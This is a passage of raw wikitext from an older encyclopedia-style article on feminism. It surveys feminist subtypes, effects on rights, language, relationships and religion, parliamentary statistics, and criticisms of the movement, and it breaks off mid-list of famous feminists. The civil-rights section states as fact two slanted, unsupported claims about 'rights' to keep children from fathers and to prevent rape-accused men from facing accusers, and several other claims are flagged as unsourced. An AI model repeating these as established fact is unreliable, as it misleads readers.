In her book ''A Fearful Freedom: Women's Flight from Equality'', [[Wendy Kaminer]] identifies another conflict between forms of feminism, the conflict between what she calls &quot;egalitarian&quot; and &quot;protectionist&quot; feminism. In her characterization, egalitarian feminists focus on promoting equality between women and men, and giving women and men equal [[rights]]. Protectionist feminists prefer to focus on legal protections for women, such as [[labor law|employment laws]] that specially protect female workers and [[divorce]] laws that seem to favor women, sometimes advocating restricting rights for men, such as [[free speech]] (specifically, the right to produce and consume pornography). Though the book predates third-wave feminism, Kaminer identifies both protectionist and egalitarian currents within first-wave feminism and second-wave feminism.

Some radical feminists advocate [[separatism]]&amp;mdash;a complete separation of male and female in society and culture&amp;mdash;while others question not only the relationship between men and women, but the very meaning of &quot;man&quot; and &quot;woman&quot; as well (see [[Queer theory]]). Some argue that [[gender role]]s, [[gender identity]], and sexuality are themselves [[social constructionism|social constructs]] (see also [[heteronormativity]]).  For these feminists, feminism is a primary means to human liberation (i.e., the liberation of men as well as women.)

Other feminists believe that there may be social problems separate from or prior to patriarchy (e.g., racism or class divisions); they see feminism as one movement of liberation among many, each affecting the others.

The various types of feminism include:
&lt;p&gt;&lt;/p&gt;
{| style=&quot;background-color: transparent; width: {{{width|100%}}}&quot;
&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
* [[Egalitarian]] forms: 
** [[equity feminism]]
** [[individualist feminism]] 
** [[liberal feminism]]
* [[Gynocentrism|Gynocentric]] forms:  
** [[cultural feminism]] 
** [[gender feminism]]  
** [[radical feminism]] 
* Belief in oppression by patriarchy: 
** [[anarcha-feminism]] 
** [[French feminism]] 
** [[radical feminism]]  
* Belief in oppression by capitalism: 
**[[socialist feminism]]
** [[Marxist feminism]]

&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
* Differences are solely or mostly cultural, not biological: 
** [[Amazon feminism]] 
** [[psychoanalytical feminism|psychoanalytic feminism]]
* Segregationalist: 
** [[lesbian feminism]] ([[Lesbian separatism]]) 
** [[separatist feminism]]
* African-American
** [[Black Feminism]]
** [[Womanism]]
* non-Western: 
** [[third-world feminism]] 
** [[Postcolonial feminism|post-colonial feminism]]
* [[pro-sex feminism]] (also known as sexually liberal feminism, sex-positive feminism)
&lt;p&gt;&lt;/p&gt;
|}

===Subtypes of feminism===
&lt;p&gt;&lt;/p&gt;
{| style=&quot;background-color: transparent; width: {{{width|100%}}}&quot;
&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
* [[Amazon feminism]]
* [[Anarcha-Feminism]]
* [[Anti-racist feminism]]
* [[cultural feminism]]
* [[ecofeminism]]
* [[equity feminism]]
* [[existentialist feminism]]
* [[French feminism]]
* [[gender feminism]]
* [[individualist feminism]] (also known as libertarian feminism)
* [[lesbian feminism]]
* [[liberal feminism]]
* male feminism or [[Pro-feminist men]]
* [[Marxist feminism]] (also known as socialist feminism)

&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
* [[material feminism]]
* [[pop feminism]]
* [[Postcolonial feminism|post-colonial feminism]]
* [[postmodern feminism]] which includes [[queer theory]]
* [[pro-sex feminism]] (also known as sexually liberal feminism, sex-positive feminism)
* [[psychoanalytical feminism|psychoanalytic feminism]]
* [[radical feminism]]
* [[separatist feminism]]
* [[socialist feminism]]
* [[spiritual feminism]]
* [[standpoint feminism]]
* [[third-world feminism]]
* [[transnational feminism]]
* [[transfeminism]]
* [[womanism]]
* Certain actions, approaches and people can also be described as [[proto-feminism|proto-feminist]] or [[post-feminism|post-feminist]].
&lt;p&gt;&lt;/p&gt;
|}

Although many leaders of feminism have been women, not all feminists are women. Some feminists argue that men should not take positions of leadership in the movement, because men, having been socialized to aggressively seek positions of power or direct the agendas within a leadership hierarchy, would apply this tendency to feminist organizations; or that women, having been socialized to defer to men, would be hindered in developing or expressing their own self-leadership in working too closely with men.  However, some feminists do believe that men should be accepted as leaders in the movement. Compare [[pro-feminism]], [[humanism]], [[masculism]].

Today, some young women associate &quot;feminism&quot; with radical and gender feminism, and this has put off some of these women from being active in feminism, spurring a move away from [[second-wave feminism|second-wave]] labels. However, the basic values of feminism (women's rights and gender equality for women) have become so integrated into Western culture as to be accepted overwhelmingly as valid, and non-conformity to those values characterized as unacceptable, by the same men and women who reject the label &quot;feminist&quot;.

==Relationship to other movements==
Some feminists take a holistic approach to politics, believing the saying of [[Martin Luther King Jr.]], &quot;A threat to justice anywhere is a threat to justice everywhere&quot;. In that belief, some self-identified feminists support other movements such as the [[civil rights]] movement and the [[gay rights movement]]. At the same time, many black feminists such as [[bell hooks]] criticize the movement for being dominated by white women. Feminist claims about the alleged disadvantages women face in Western society are often less relevant to the lives of black women. This idea is the key in [[postcolonial feminism]]. Many black feminist women prefer the term [[womanism]] for their views.

Feminists are sometimes wary of the [[transgender]] movement because it challenges the distinctions between men and women. Transgender and [[transsexual]] individuals who identify as female are excluded from some &quot;[[Women-only spaces|women-only]]&quot; gatherings and events and are rejected by some feminists, who say that no one born male can fully understand the oppression that women face. This exclusion is criticized as &quot;[[transphobic]]&quot; by transgender people, who assert their political and social struggles are closely linked to many feminist efforts, and that discrimination against gender-variant people is another face of the so-called [[patriarchy]]. See [[transfeminism]] and [[gender studies]].

==Effects of feminism in the West==
Some feminists would argue that there is still much to be done on these fronts, while others would disagree and claim that the battle has basically been won.

===Effects on civil rights===
[[Image:Opposed to suffrage.jpg|right|frame|Securing women's suffrage has been a defining issue for the feminist movement.]]
Feminism has effected many changes in Western society, including [[women's suffrage]]; broad employment for women at more equitable wages; the right to initiate [[divorce]] proceedings and the introduction of &quot;no fault&quot; divorce; the right to keep children from their fathers, the right to obtain contraception and safe abortions; the right to prevent a man from facing a woman who accuses them of rape; and the right to be allowed admittance into any [[university]] in the U.S.. 

Feminism is largely a [[pro-choice]] movement, although there are some exceptions. The national organization [http://www.feministsforlife.org Feminists for Life], for instance, condemns the act of abortion, claiming that the reason that abortion is so common is because women do not have access to alternate resources and information. Feminists for Life also suggest that what they refer to as the &quot;abortion industry&quot; is part of a system which allows the abuse of women and women's rights.

===Effect on language===
[[English language|English]]-speaking feminists are often proponents of what they consider to be [[non-sexist language]], using &quot;[[Ms.]]&quot; to refer to both married and unmarried women, for example, or the ironic use of the term &quot;herstory&quot; instead of &quot;history&quot;.  Feminists are also often proponents of using ''gender-inclusive'' language, such as &quot;humanity&quot; instead of &quot;mankind&quot;, or &quot;he or she&quot; (or other [[gender-neutral pronouns]]) in place of &quot;he&quot; where the gender is unknown. Feminists in most cases advance their desired use of language either to promote what they claim is an equal and respectful treatment of women or to affect the tone of political discourse. This can be seen as a move to change language which has been viewed by some feminists as imbued with sexism, providing for example the case in the [[English language]] in which the word for the general pronoun is &quot;he&quot; or &quot;his&quot; (''The child should have his paper and pencils''), which is the same as the masculine pronoun (''The boy and his truck''). These feminists argue that language then directly affects perception of reality (compare [[Sapir-Whorf Hypothesis]]). However, to take a postcolonial analysis of this point, many languages ''other'' than English may not have such a gendered pronoun instance and thus changing language may not be as important to some feminists as others.  Yet, English is becoming more and more universal, and the issue of language may be seen to be of growing importance.

On the other hand quite a different tendency can be seen in [[French language|French]]. Gender, as a grammatical concept, is much more pervasive in French than in English, and as a result, it has been virtually impossible to create inclusive language. Instead, nouns that originally had only a masculine form have had feminine counterparts created for them. &quot;''Professeur''&quot; (&quot;teacher&quot;), once always masculine regardless of the teacher's sex, now has a parallel feminine form &quot;''Professeure''&quot;. In cases where separate masculine and feminine forms have always existed, it was once standard practice for a group containing both men and women to be referred to using the masculine plural. Nowadays, forms such as &quot;''Tous les Canadiens et Canadiennes''&quot; (&quot;all Canadians&quot;, or literally &quot;all the male Canadians and female Canadians&quot;) are becoming more common.  Such phrasing is quite common in [[Canada]], but practically unknown in European and African French-speaking countries.

===Effect on heterosexual relationships===
The feminist movements have altered the nature of [[heterosexual]] relationships in Western and other societies affected by feminism. In some of these relationships, there has been a change in the power relationship between men and women.  In these circumstances, women and men have had to adapt to relatively new situations, sometimes causing confusions about [[role]] and [[identity]]. Women can now avail themselves more to new opportunities, but some have suffered with the demands of trying to live up to the so-called &quot;superwomen&quot; identity, and have struggled to 'have it all', i.e. manage to happily balance a career and family. In response to the family issue, many socialist feminists blame this on the lack of state-provided child-care facilities. Others have advocated instead that the onus of child-care not rest solely on the female, but rather that men also partake in the responsibility of managing family matters. 

Some men counter that this expectation is unrealistic, claiming that a de-emphasis on breadwinning would be injurious to their ability to attract mates; while many women have the choice to try to &quot;have it all&quot;, they claim that societal expectations placed on men preclude them from devoting themselves further to domestic chores and childrearing.  Several studies support the view that, although men are derided for not devoting enough time to childrearing and domestic tasks, few women seem attracted to men who engage in these activities to the detriment of their careers.  ([http://www.ingentaconnect.com/content/klu/aseb/1997/00000026/00000003/00423348 &quot;The Perception of Sexual Attractiveness: Sex Differences in Variability&quot;] by Townsend J.M.; Wasserman T., Archives of Sexual Behavior, Volume 26, Number 3, June 1997, pp. 243-268(26) McGraw, Kevin J. (2002) [http://www.blackwell-synergy.com/servlet/useragent?func=synergy&amp;synergyAction=showAbstract&amp;doi=10.1046/j.1439-0310.2002.00757.x &quot;Environmental Predictors of Geographic Variation in Human Mating Preferences.&quot;] Ethology 108 (4), 303-317.  
''In Defense of Working Fathers'' &lt;u&gt;Sacks, Glenn&lt;/u&gt;. [http://www.hisside.com/7_10_05.htm].)
Some argue that the fact men devote less time to household chores is due to the fact that they devote more time to work outside the home. (finding, &quot;According to the International Labor Organization, the average American father works 51 hours a week, whereas those mothers of young children who do work full time (themselves a minority) work a 41-hour week.&quot; [http://www.glennsacks.com/is_pay_a.htm]. 

As a counter to these arguments, [[sociologist]] [[Arlie Russell Hochschild]]'s books ''The Second Shift'' and ''The Time Bind'' present evidence that married men contribute much less time towards child care and housework than their wives do. However, Hochschild presented statistical evidence that this was not the case for two-career couples: according to the studies she cites, in two-career couples, men and women on the average spend about equal amounts of time working, but women still spend more time on housework. Hochschild's work mainly centers around two-career couples, but most disputes about the role of men in child care and domestic work center around two-career couples: feminist critiques of men's contribution to child care and domestic labor are typically centered around the idea that it is unfair for the woman to be expected to perform more than half of a household's domestic work and child care when both members of a couple also work outside the home. In general, in couples where one or both partners do not work outside the home, gender-based [[division of labor]] is less of a point of contention for feminists. (For more discussion of this point, see Joyce Jacobson's ''The Economics of Gender''). In addition, a number of studies provide statistical evidence for the claim that married men do not contribute an equal share of housework, regardless of they or their wives' paid work loads: for example, Scott J. South and Glenna Spitze, &quot;Housework in Marital and Nonmarital Households,&quot; ''American Sociological Review'' 59, no. 3 (1994):327-348 (which noted that divorced and widowed men spend significantly more time doing housework than married men do), and Sarah Fenstermaker Berk and Anthony Shih, &quot;Contributions to Household Labor: Comparing Wives' and Husbands' Reports,&quot;, in Berk, ed., ''Women and Household Labor''. These studies suggest that married men may actually create more domestic work for women, by virtue of their presence in the house, than the amount of work they perform themselves.

The preceding arguments mainly apply to [[middle-class]] women. In her 1996 book ''Dubious Conceptions'', [[Kristin Luker]] discusses the effect of feminism on teenage women's choices to bear a child, both within and outside of marriage. She argues that as bearing a child without being married has become more socially acceptable for women, young women -- while not bearing children at a higher rate than in the 1950s -- have come to see less of a reason to get married before having a child, especially poor young women. As reasons for this, she argues that the economic prospects for poor men are slim, meaning that poor women have a low chance of finding a husband who will provide reliable financial support, and that husbands tend to create more domestic work than they contribute. Though the feminist movement has had minimal impact on those two factors, it may have contributed to the increasing social acceptability of bearing children outside of marriage.

There have been changes also in attitudes towards sexual morality and behavior with the onset of second wave feminism and &quot;[[Oral contraceptive|the Pill]]&quot;: women are then more in control of their bodies, and are able to experience sex with more freedom than was previously socially accepted for them. This [[sexual revolution]] that women were then able to experience was seen as positive (especially by [[Sexually liberal feminism|sex-positive feminists]]) as it enabled women and men to experience sex in a free and equal manner.  However, some feminists felt that the results of the sexual revolution were beneficial only to men.  Feminists have debated whether [[marriage]] is an institution that oppresses women and men.  Those who do view it as oppressive sometimes opt for [[cohabitation]] or more recently to live independently reverting to [[casual sex]] to fulfill their sexual needs. 

[[Evangelical Feminism|Evangelical (Christian) feminists]] sometimes argue that life-long monogamy ideally promotes egalitarianism in sex, especially when viewed in light of other common alternatives to monogamy (i.e. [[polygyny|polygamy]], [[prostitution]], or [[infidelity]]). On the other hand, [[Friedrich Engels]]'s essay ''[[Origins of the Family, Private Property, and the State]]'' -- sometimes considered an early feminist work -- argues that monogamy was originally conceived of as a way for men to control women. In addition, some modern feminists endorse [[polyamory]] as an egalitarian lifestyle (see [[sex-positive feminism]]).

===Effect on religion===
Feminism has had a great effect on many aspects of [[religion]].  In liberal branches of [[Protestant Christianity]] (and in some theologically conservative dominations as well, such as [[Assemblies of God]][http://ag.org/top/beliefs/position_papers/4191_women_ministry.cfm]), women are ordained as [[clergy]], and in [[Reform Judaism|Reform]], [[Conservative Judaism|Conservative]] and [[Reconstructionist Judaism|Reconstructionist]] [[Judaism]], women are ordained as [[rabbi]]s and [[cantor]]s.  Within these [[Christianity|Christian]] and [[Judaism|Jewish]] groups, women have gradually become more nearly equal to men by obtaining positions of power; their perspectives are now sought out in developing new statements of belief. In Islam women have historically contributed to all aspects of Islamic life, from religious edicts to aid on the battlefield. A large portion of the sayings of [[Muhammad]] are taken from his wife [[Aisha]], whom men often consulted on religious matters. In this day you will often see many women scholars on Arabic satellite television answering Islam-related questions, asked by both genders. One matter remains debatable nowadays, which is whether or not a woman can lead men in prayers. Although all classical Islamic scholars of jurisprudence rule that it is prohibited in Islamic Law, a small portion of contemporary Muslims believe that there is evidence leading to the contrary. The leadership of women in religious matters has also been resisted within  [[Roman Catholicism]]. Roman Catholicism has historically excluded women from entering priesthood and other positions in clergy, allowing women to hold positions as nuns or as laypeople.

Feminism also has had an important role in embracing new forms of religion. [[Neopagan]] religions especially tend to emphasize the importance of [[Goddess]] spirituality, and question what they regard as traditional religion's hostility to women and the sacred feminine. In particular [[Dianic Wicca]] is a religion whose origins lie within [[radical feminism]]. Among traditional religions, feminism has led to self examination, with reclaimed positive Christian and Islamic views and ideals of [[Mary]], Islamic views of [[Fatima Zahra]], and especially to the Catholic belief in the [[Coredemptrix]], as counterexamples. However, criticism of these efforts as unable to salvage corrupt church structures and philosophies continues.  Some argue that Mary, with her status as mother and virgin, and as traditionally the main role model for women, sets women up to aspire to an impossible ideal and also thus has negative consequences on human sense of identity and sexuality.

There is a separate article on [[God and gender]]; it discusses how monotheistic religions reconcile their theologies with contemporary gender issues, and how modern feminism has influenced the theology of many religions.

===Effect on moral education===
Opponents of feminism claim that women's quest for external power, as opposed to the internal power to affect other people's ethics and values, has left a vacuum in the area of [[moral]] training, where women formerly held sway. Some feminists reply that the education, including the moral education, of children has never been, and should not be, seen as the exclusive responsibility of women. Paradoxically, it is also held by others that the moral education of children at home in the form of [[homeschooling]] is itself a women's movement. Such arguments are entangled within the larger disagreements of the [[Culture Wars]], as well as within feminist (and anti-feminist) ideas regarding custodianship of societal morals and [[compassion]].

==Effects of feminism in the East==
{{expandsect}}

==Worldwide statistics==
{{sectNPOV}}
{| cellpadding=&quot;4&quot; cellspacing=&quot;0&quot;  border=&quot;1&quot; valign=&quot;top&quot; align=right
|+ '''Female share of seats in elected national chambers in November 2004 (percent)'''
|[[Rwanda]]||49.0
|-
|[[Sweden]]||45.3
|-
|[[South Africa]]||42.0
|-
|[[Namibia]]||42.0
|-
|[[Denmark]]||38.0
|-
|[[Finland]]||37.5
|-
|[[Norway]]||36.4
|-
|[[Spain]]||36.0
|-
|[[Netherlands]]||35.0
|-
|[[Pakistan]]||33.3
|-
|[[Germany]]||32.8
|-
|[[Iceland]]||30.2
|-
|[[New Zealand]]||28.3
|-
|[[Austria]]||27.5
|-
|[[Canada]]||21.1
|-
|[[China]]||20.2
|-
|[[United Kingdom|UK]](Commons)||17.8
|-
|[[Mauritius]]||17.0
|-
|[[United States]]||15.0
|-
|[[Japan]]||7.1
|}
The following is a sampling of statistics related to the relative status of women worldwide.

* According to the [http://hdr.undp.org/reports/global/2004/pdf/hdr04_HDI.pdf United Nations Human Development Report 2004:  Section 28, Gender, Work Burden, and Time Allocation], women work on average more than men, when both paid employment and unpaid household tasks are accounted for.  In rural areas of the developing countries surveyed, women perform an average of 20% more work than men, or an additional 98 minutes per day.  In the OECD countries surveyed, on average women performed 5% more work than men, or 18 minutes per day. 
*Women own only 1 percent of the world's wealth, and earn 10 percent of the world's income, despite making up 49.5 percent of the population.  
*Women are underrepresented in all of the world's major legislative bodies (see [http://www.ipu.org/wmn-e/world.htm Women in National Parliaments, November 2004]). In [[1985]], [[Finland]] had the largest percentage of women in national legislature at approximately 32 percent (P. Norris, Women&lt;nowiki&gt;'s&lt;/nowiki&gt; Legislative Participation in Western Europe, ''West European Politics''). Currently, [[Sweden]] has the highest number of women at 45 percent. The [[United States]] has just 14 percent. The world average is just 9 percent. In contrast, half of the members of the recently established [[Welsh Assembly Government]] are women.

==Perspective: the nature of the modern movement==
Most feminists believe discrimination against women still exists in North American and European nations, as well as worldwide. But there are many ideas within the movement regarding the severity of current problems, what the problems are, and how best to confront them. 

Extremes on the one hand include some radical feminists such as [[Mary Daly]] who argues that human society would be better off with dramatically fewer men. There are also dissidents, such as [[Christina Hoff Sommers]] or [[Camille Paglia]], who identify themselves as feminist but who accuse the movement of anti-male prejudice.

On the other hand, many feminists question the use of the term ''feminist'' to groups or people who fail to recognize a fundamental equality between the sexes. Some feminists, like [[Katha Pollitt]] (see her book ''[[Reasonable Creatures]]'') or [[Nadine Strossen]] (President of the [[ACLU]] and author of ''Defending Pornography'' [a treatise on freedom of speech]), consider feminism to be, solely, the view that &quot;women are people.&quot; Views that separate the sexes rather than unite them are considered by these people to be ''sexist'' rather than ''feminist''. 

There are also debates between [[difference feminism|difference feminists]] such as [[Carol Gilligan]] on the one hand, who believe that there are important differences between the sexes (which may or may not be inherent, but which cannot be ignored), and those who believe that there are no essential differences between the sexes, and that the roles observed in society are due to conditioning.  There is debate among scientists and social scientists as to whether social and psychological differences between men and women are rooted in biology. Some scientists attribute many observed differences in men's and women's behavior to biological differences between the sexes, while others argue for a stronger focus on the effects of [[socialization]]. Still others believe that the complex interactions between [[genes]] and environment make it impossible to make a definite statement on the subject, given the current state of scientific knowledge.

In Marilyn French's seminal works analyzing [[patriarchy]] and its effects on the world at large--including women, men and children--she defines patriarchy as a system that values power over life, control over pleasure, and dominance over happiness. According to French, &quot;it is not enough either to devise a morality that will allow the human race simply to survive. Survival is an evil when it entails existing in a state of wretchedness. Intrinsic to survival and continuation is felicity, pleasure. Pleasure has been much maligned, diminished by philosophers and conquerors as a value for the timid, the small-minded, the self-indulgent. &quot;Virtue&quot; involves the renunciation of pleasure in the name of some higher purpose, a purpose that involves power (for men) or sacrifice (for women). Pleasure is described as shallow and frivolous in a world of high-minded, serious purpose. But pleasure does not exclude serious pursuits or intentions, indeed, it is found in them, and it is the only real reason for staying alive&quot; [http://www.fragmentsweb.org/stuff/10french.html| Beyond Power] This philosophy is what French offers as a replacement to the current structure where power has the highest value--and it is this feminism to which many (women and men) subscribe. However many believe this view is flawed, simply because one who desires power will usually obtain power over one who does not.

[[Carol Tavris]], author of ''Anger: the Misunderstood Emotion'' and ''The Mismeasure of Woman: Why Women Are Not the Better Sex, the Inferior Sex, or the Opposite Sex'', maintains that as long as men's experiences are considered to be the default human experiences, women will always face discrimination in North America or elsewhere. She holds that too much emphasis is placed on innate differences between men and woman, and that it has been used to justify the restriction of women's rights. She also argues that it is a fallacy to equate 'equality' with 'sameness'. For example, employment benefits for pregnant women are sometimes called 'special treatment', but -- Tavris argues -- because only women can become pregnant, this viewpoint is wrong. It would only be special treatment, she argues, if both men and women could become pregnant and women received benefits for pregnancy that men did not. (In her book ''A Fearful Freedom'', Wendy Kaminer provides an opposing viewpoint to this argument; she argues that pregnancy leave should not be a special case of employment benefits, but should be treated like any other disability benefits.) She argues that there is a need to view both men's and women's experiences as human experiences, without putting special emphasis on the differences between them.

==Contemporary criticisms of feminism==
Feminism, in some forms and to varying degrees, has become generally accepted in Western society.  However, the attention it has attracted, due to the social changes it has effected, has resulted in many dissenting voices.  Criticism has come from within the movement, from non-feminists, from [[masculism|masculists]], from social conservatives, and from scientists.

[[Postcolonial feminism|Postcolonial feminists]] criticise Western forms of feminism, notably [[radical feminism]] and its most basic assumption, universalization of the female experience. They argue that this assumption is based on the experience of white, middle-class women in the developed West, for whom gender oppression is primary; and that it cannot so easily be applied to women for whom gender oppression comes second to, for example, racial or class oppression. 

Non-feminist critics suggest that the continual emphasis on women's issues throughout the evolution of the movement has resulted in gynocentric ideology.  It is claimed by these critics that modern-day feminists are biased by the lens that filters their world views and they would like to see a gender-neutral term such as &quot;[[gender egalitarianism]]&quot; replace &quot;feminism&quot; when used in reference to the belief in basic equal rights and opportunities for both sexes.

Many who support [[masculism]] argue that because of both traditional gender roles and sexism infused into society by feminists, males are and have been oppressed.  Their view as expressed by Warren Farrell in &quot;The Myth of Male Power&quot; is that the traditional world was a &quot;bi-sexist&quot; world, not a &quot;uni-sexist&quot; one, and that the issues men faced then still exist plus several new ones created by feminist organizations. One complaint is that feminists promote [[misandry]], even male inferiority - it has been demonstrated that replacing the words &quot;male&quot; and &quot;female&quot; in some feminist writings with &quot;black&quot; and &quot;white&quot; respectively would make these texts seem more racist to more people than the corresponding feminist writings would seem sexist. However, this is applicable to non-feminist writing as well, as [[Douglas Hofstadter]] tried to show in [http://www.bloomington.in.us/~abangert/person.html &quot;A Person Paper on Purity in Language&quot;]. Another interesting word substitution is substituting &quot;male&quot; and &quot;female&quot; with each other in texts, like [[Gerd Brantenberg]]'s  ''[[Egalia's Daughters]]''. Others still dismiss this word substitution argument as overly simplistic, and state that changing &quot;men oppress women&quot; to &quot;blacks oppress whites&quot; says as little about the speaker of the original sentence as would changing &quot;I love Jews&quot; to &quot;I hate Jews&quot;.

Another concern is that the belief in a [[glass ceiling]] for women may have resulted in [[affirmative action]] programs that promote women more for the purpose of [[public relations]] than for merit.  [[Sexual harassment]] is also a topic of dispute:  critics claim that, in the name of protecting women, men are discriminated against when they are the subject of claims; and that they are treated less seriously when claiming cases. The same is true with domestic violence, and even though oft-quoted feminist research suggests that over 30% of the victims of domestic violence are male, only a handful of the thousands of tax-funded shelters in the U.S. will even admit men.{{fact}}

Other concerns include inequity in health funding (particularly breast vs. prostate cancer), societal sympathy for women vs. vilification of men (e.g., emphasis on &quot;violence against women&quot;), and fears of censorship. Feminists disagree on the importance of men's issues; some argue that these issues are not important because society is male-dominated, others point out that the fact that a small group of men have much power doesn't contradict the idea that many men  (especially poor, non-white, or non-straight men) might be oppressed. The concept of &quot;patriarchy&quot; is also questioned by masculists, largely because masculists examine whether a government's actions are more in line with men's interests or women's interests, not based on the gender of the people performing the actions, but on the actions themselves. 

Conservative criticism includes the claim that the feminist movement is trying to destroy traditional gender roles.  Proponents argue that men and women have many natural differences, and that everyone benefits from recognizing them.  They consider children to benefit from having a masculine father and a feminine mother, and that divorce, single parenthood, and non-traditional gender roles harm children.{{fact}} It has been argued however, that these gender roles and differences aren’t necessarily “natural” to begin with and are merely products of the said tradition.  {{fact}}  To date, there has been no research showing that children brought up by mothers identifying as &quot;feminist&quot; are at a social or academic disadvantage when compared to children bought up by in families with traditional gender roles.{{fact}}

There is also a group of [[Paleoconservatives]], including [[George Gilder]] and [[Pat Buchanan]], who argue that feminism has produced a fundamentally unworkable, self-destructive, stagnant society.  They note that societies in which feminism has developed the furthest have below-replacement rates of fertility and high rates of immigration (frequently from countries with cultures and religions hostile to feminism). In response to this, feminists such as [[Wendy Kaminer]] have argued that they are falsely attributing more power to feminism than the movement has ever actually had; in her book ''A Fearful Freedom'', Kaminer argues that we now live in a post-feminist world without  having experienced a feminist one.  Moreover, sociologists generally account for these trends in terms of the relative wealth of industrialized nations and the cost of raising children in a post-agricultural society, not feminism per se. Another possible response is to argue that fertility is only one measure of a society's success, and furthermore is one that is not accepted by some feminists.{{fact}} Many feminists would argue that women can contribute to society in ways other than producing children.{{fact}} 

In the U.S., &quot;liberal&quot; religious groups most accepting of feminism have noted fewer conversions and less natural increase, for reasons such as lower birthrate and the likelihood of members taking another step towards secularism by leaving the church.{{fact}} Some forms of [[Islam]] disapprove of feminism. 

Another way anti-feminists criticise feminism is to quote radical feminists, such as [[Marilyn French|Marilyn French's]] &quot;''All men are rapists, and that is all they are''&quot;. These quotations are often given without the original context - for example, the sentence in question is taken from the speech of a character in a novel rather than the words of the author herself, was immediately preceded by references to being leered at on the streets of Chicago, and the second part of the statement was that &quot;''they rape us with their eyes, their laws, and their codes.''&quot;  The author is not asserting that all men engage in sexual assault, the impression one might get from the repetition of the unadorned quotation, but is merely reflecting a misandrous sentiment using the voice of her character. Other quotations that some anti-feminists cite to indicate their belief that feminism is anti-male include [[Gloria Steinem]]'s famous slogan &quot;a woman needs a man like a fish needs a bicycle&quot;, or [[Andrea Dworkin]]'s quote from her novel ''Ice And Fire'': &quot;I want to see a man beaten to a bloody pulp with a high-heel shoved in his mouth, like an apple in the mouth of a pig.&quot;.  Feminists might respond that quotes from fictional works do not always represent the point of view of their authors.  In any case, misrepresenting the sentiments of ''some'' feminists as a universal feminist perspective is a form of [[straw man]] fallacy:  even if it was shown that some radical feminists held [[sexist]] or logically flawed viewpoints, this is not a strong argument against all feminists or against feminism as a whole.

Some writers have used arguments from science, social science, and statistics to advance their criticisms of feminism. [[Political scientist]] [[Warren Farrell]] uses statistics to argue that the reasons why men earn more than women are not based on sex discrimination.  In his ''Dark Side of Man: Tracing the Origins of Violence'', [[anthropologist]] Michael Ghiglieri used science to challenge the idea that rape is about power rather than sex, as well as the idea that male domestic violence against women is about domination. Feminists have also argued using science in order to respond to others' criticisms of feminism, such as [[Anne Fausto-Sterling]] in ''Myths of Gender'', [[Carol Tavris]] in ''The Mismeasure of Woman'', and the feminist social scientists and scientists [[Barbara Ehrenreich]], [[Kristin Luker]], and [[Stephanie Coontz]].

Criticism of feminism as has further suggested that feminists claim that their viewpoint is multi-purposed. This would imply that a feminist perspective can be applied to all areas of life (and policymaking in particular). This has been disputed, as critics contend that a feminist position has nothing to say about some topics, for example [[nuclear power]] or disaster prevention. Some feminists might respond to these critics by arguing that due to their role as mothers, women have a special sensitivity for the fragility of human life and the need to protect it, which gives them a unique perspective on issues such as nuclear power that pit individual human welfare against societal needs. Thus, there ''is'' a broad feminist perspective that can be applied to [[public policy]] in general. (It is imporant to note that not all feminists would agree with this line of thought; equality feminists, in particular, dispute the idea that all women are inherently nurturing or virtuous).

Some opponents of feminism blame their own lack of success on the rise of feminism.  In one particularly violent incident, the [[Montreal Massacre]], a gun man began to scream about how he hated feminists, and then opened fire on the women, and killed 14 women.

==Famous feminists==
''See [[list of feminists]].''

&lt;p&gt;&lt;/p&gt;
{| style=&quot;background-color: transparent; width: {{{width|100%}}}&quot;
&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
* [[Lila Abu-Lughod]] - Anthropologist
* [[Rachel Adler]] - Jewish theologian
* [[Susan B. Anthony]]
* [[Gloria E. Anzaldúa]] - Poet
* [[Bettina Aptheker]] - Writer, Activist, and Educator
* [[Simone de Beauvoir]] - Philosopher
* [[Ruth Behar]] - Anthropologist
* [[Judith Butler]] - Philosopher
* [[Susan Brownmiller]] - journalist, writer, and activist
* [[Phyllis Chesler]]- Writer, Psychotherapist
* [[Margaret Cho]] - Actress, Comedian
* [[Kate Chopin]] - Writer
* [[Sandra Cisneros]] - Writer
* [[Hélène Cixous]] - Philosopher
* [[Nellie McClung]] - Writer, Teacher, one of the &quot;Famous Five&quot; 
* [[Mary Daly]] - &quot;post-Christian&quot; theologian
* [[Andrea Dworkin]] - Writer
* [[Henrietta Muir Edwards]] 
* [[Jean Bethke Elshtain]] - Philosopher
* [[Jane Fonda]] - Actress, activist, philanthropist
* [[Marilyn French]] - Writer, author of ''Beyond Power'', an extensive &quot;history&quot; of patriarchy
* [[Betty Friedan]] - Writer
* [[Diana Fuss]] - Professor of English
* [[Jane Gallop]] - Professor of English
* [[Sandra Gilbert]] - Professor of English
* [[Emma Goldman]] - Anarchist, writer
* [[Jane Gomeldon]] - 18th century Essayist
* [[Deborah Gordon]] - Anthropologist
* [[Germaine Greer]] - Writer
* [[Sandra Harding]] - Philosopher
* [[Donna Haraway]] - Anthropologist
* [[Susannah Heschel]] - Jewish theologian
* [[bell hooks]] -Writer and critic
* [[Luce Irigaray]] - Philosopher
* [[Alison M. Jagger]] - Philosopher
* [[Kumari Jayawardena]] - Sri Lankan feminist scholar
* [[Maxine Hong Kingston]] - Novelist
* [[Biddy Martin]] - Professor of German studies
* [[Suzanne MacNevin]] - Writer/chemist
* [[Emily Martin]] - Anthropologist
* [[Wendy McElroy]]- Intellectual, Individualist Feminist
* [[Louise McKinney]] 
* [[Kate Millett]] - Critic
* [[Chandra Talpade Mohanty]] - Sociologist
* [[Toril Moi]] - Professor of literature
* [[Susan Moller Okin]] - philsophical and political theorist
* [[Henrietta Moore]] - Anthropologist

&lt;p&gt;&lt;/p&gt;
| width=&quot;{{{width|}}}&quot; align=&quot;{{{align|left}}}&quot; valign=&quot;{{{valign|top}}}&quot; |
* [[Robin Morgan]] - poet, editor, activist, and former child star
* [[Iris Murdoch]] - Novelist and philosopher
* [[Luisa Muraro]] - philosopher
